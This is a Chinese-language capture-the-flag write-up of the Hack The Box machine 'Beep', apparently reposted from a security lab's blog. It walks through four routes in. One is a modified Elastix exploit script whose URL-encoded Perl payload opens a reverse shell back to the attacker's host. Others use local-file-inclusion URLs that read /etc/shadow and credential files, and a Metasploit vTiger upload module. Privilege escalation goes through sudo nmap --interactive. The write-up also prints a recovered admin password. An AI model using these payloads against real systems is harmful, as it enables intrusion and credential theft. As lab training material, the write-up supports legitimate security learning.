【HTB系列】Beep – 作者:shuteer

土拨鼠先生 Ms08067安全实验室

这次挑战的是 HTB 的第5台靶机:Beep,评分很高,难度中等

1614833271_604066775cf4641f329f2.png!small?1614833269628

靶机描述

Beep运行了大量的服务,这对正确发掘入口点有一定的挑战,由于存在大量的攻击向量,或许会让你不知所措,幸运地是,有多种方法可以渗透此系统。

技能收获

Web-fuzzing

LFI

RCE

Kali Tool:sslscan / svwar / searchsploit

Nmap Privilege Escalation

Elastix / FreeFBX

VoIP / SIP

信息收集

基本信息

Kali ip :10.10.14.23

Lameip:10.10.10.7

端口扫描

nmap -T4 -A -p- -v 10.10.10.7

1614833306_6040669a280dcf1630059.png!small?1614833305173

确实,开放了不少端口和服务

重点关注几个常见服务 22(ssh)、80(apache)、443(https)、3306(mysql)、10000(httpd)

目录枚举

访问 http://10.10.10.7:80 无反应,maybe it doesn’t work

于是枚举https的web应用

dirb

dirb https://10.10.10.7

dirb 枚举失效,看来 ssl 支持不理想?

dirbuster

dirbuster https://10.10.10.7

1614833342_604066bea7332e4f89709.png!small?1614833341049

存在大量的目录、后台管理程序,慢慢研究

漏洞发现

sslscan

sslscan 10.10.10.7

1614833366_604066d68442caf035507.png!small?1614833365475

协议层无法突破,到web应用层寻找突破口

Elastix

访问 https://10.10.10.7:443 ,返回登录页面

1614833373_604066ddeae7dc12ec643.png!small?1614833373347

Beep靶机使用了 Elastix 系统

使用默认用户密码尝试,未果

Username: admin
Password: palosanto

搜索一下 Elastix 系统的历史漏洞

1614833385_604066e97480306c9ef5c.png!small?1614833384269

漏洞利用

入口一

参考第一条“代码执行漏洞”,https://www.exploit-db.com/exploits/37637

exp 修改如下,保存为 cmd.py

  1. import urllib

  2. import ssl

  3. rhost="10.10.10.7"

  4. lhost="10.10.14.15"

  5. lport=4444

  6. extension="233"

  7. ctx = ssl.create_default_context()

  8. ctx.check_hostname = False

  9. ctx.verify_mode = ssl.CERT_NONE

  10. # Reverse shell payload

  11. url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

  12. urllib.urlopen(url, context=ctx)

我们需要使用定位到本地的 SIP extension,使用Kali自带工具 svwar

$ svwar -m INVITE -e100-300 10.10.10.7

| Extension | Authentication |

------------------------------

| 233       | reqauth        |

此时,将以上脚本的 etension 修改为233

从之前 sslscan的扫描结果我们看到 Beep只支持 TLSv1.0,因此我们需要修改 Kali 的openssl配置文件

vim /etc/ssl/openssl.cnf

#将

[system_default_sect]

MinProtocol = TLSv1.2

CipherString = DEFAULT@SECLEVEL=2

#修改为

[system_default_sect]

MinProtocol = None

CipherString = DEFAULT

此时,运行 cmd.py ,nc开启监听,获得反弹shell

1614833465_60406739060ff470e8113.png!small?1614833463259

至于提权,该 exp 已经有所描述了

1614833477_60406745454d1405aa85f.png!small?1614833475600

  1. sudo nmap --interactive

1614833496_60406758a2700be5cdbb4.png!small?1614833495154

至此完成入口一的利用过程

入口二

参考第二条“文件包含漏洞”,https://www.exploit-db.com/exploits/37637

漏洞简介

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. Elastix 2.2.0 is vulnerable; other versions may also be affected.

关键利用点

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

读取到 amportal.conf,该文件为Elastix / freepbx连接ami的用户信息配置文件

从之前的目录枚举结果中可以看到,vtigercrm 目录存在且可访问

vTiger CRM是一个集成的客户关系管理(CRM)应用程序,可以在Intranet上或使用浏览器从Internet上使用。

于是访问链接

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

暴露了 amp 数据库用户密码信息

1614833572_604067a46f8c1a6b14842.png!small?1614833572733

以上暴露的密码,登陆后台

admin

jEhdIekWmdjE 

1614833632_604067e0c227c299026b9.png!small?1614833632240

成功登录

考虑到密码多用的习惯,尝试ssh root用户以刚才admin的密码远程连接,事实确实如此

1614833641_604067e96e0799b94109c.png!small?1614833640316

至此完成入口二的利用过程

入口三

访问 https://10.10.10.7/vtigercrm

1614833650_604067f25e32372014fca.png!small?1614833648878

vTiger CRM 的版本为 5.1.0

其实入口二中的 vtigercrm程序还存在其它可利用的方式

searchsploit vtiger

1614833667_604068033f5f12094eef3.png!small?1614833666890

正好发现该版本存在的一个缺陷,也是 LFI

查看详细信息

searchsploit -x 18770.txt

1614833681_6040681196ac54ebfd42b.png!small?1614833680072

payload 如下

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00

暴露 /etc/passwd

1614833703_6040682768f7e19c7cce4.png!small?1614833702961

暴露用户连接信息配置文件 /etc/amportal.conf

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

同样可以暴露ami的用户配置文件 /etc/asterisk/manager.conf

参考:https://www.vtiger.com/docs/asterisk-integration

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%

1614833736_60406848b2a517918374e.png!small?1614833735301

入口四

关于入口二和入口三,如果web程序的密码和系统密码不存在复用的话,怎么办?

metasploit中集成了 vtigercrm v5.1.0的一些缺陷,演示如下

search vtigercrm

1614833757_6040685d048a404a48457.png!small?1614833755431

使用 exploit/multi/http/vtigerphpexec,失败

使用 exploit/multi/http/vtigersoapupload,成功

use exploit/multi/http/vtiger_soap_upload

set RHOSTS 10.10.10.7

set SSL true

set RPORT 443

set LHOST 10.10.14.23

1614833973_60406935d5f711a300899.png!small?1614833972332

1614833977_60406939bc53bf80a58b1.png!small?1614833976238

至此成功发现 user.txt ,下一步想办法权限提升

1614833985_604069414d89cb0562af3.png!small?1614833984035

命中Nmap,以root权限执行且无需认证

较早版本的Nmap(2.02至5.21)具有交互模式,该模式允许用户执行Shell命令

由于Nmap在以root特权执行的二进制文件列表中,因此可以使用交互式控制台来以相同的特权运行shell

sudo nmap –interactive

!sh

1614834005_6040695511d71ae37b10d.png!small?1614834003565

至此完成

MS08067实验室官网:www.ms08067.com

公众号:” Ms08067安全实验室”

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

最后期待各位小伙伴的加入!

来源:freebuf.com 2021-03-04 13:02:24 by: shuteer

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论